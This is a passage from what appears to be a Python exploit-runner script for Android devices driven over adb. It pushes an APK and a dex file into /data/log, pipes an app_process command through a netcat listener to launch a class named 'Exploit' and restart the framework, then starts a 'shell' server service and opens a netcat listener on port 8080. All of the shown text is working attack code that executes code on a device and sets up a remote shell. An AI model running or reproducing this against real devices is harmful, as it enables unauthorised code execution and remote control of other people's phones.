        subprocess.run([adb, "shell", "nc", "-lp", "1234"])
        print("[*] Initializing server...")
        while True:
            r = subprocess.run([adb, "push", "base.apk", "/data/log/base.apk"], capture_output=True, text=True)
            r2 = subprocess.run([adb, "push", "classes.dex", "/data/log/classes.dex"], capture_output=True, text=True)
            time.sleep(2)
            r3 = subprocess.run([adb, "shell", "echo 'app_process -Djava.class.path=/data/log/classes.dex /system/bin --nice-name=Exploit Exploit && am restart' | nc -lp 1234"], capture_output=True, text=True)
            if "closed" not in r.stderr and "closed" not in r2.stderr and "closed" not in r3.stderr:
                break
        print("[+] Done")
        print("[+] Waiting...")
        time.sleep(35)
        subprocess.run([adb, "wait-for-device"])
        print("Execute cmd:")
        cmd = """am startservice com.vikram.shell/.Server > /dev/null & /system/bin/nc -lp 8080"""
        subprocess.run([adb, "shell", cmd])
        print("Exit")
    except KeyboardInterrupt:
        print("\nInterrupted. Exiting...")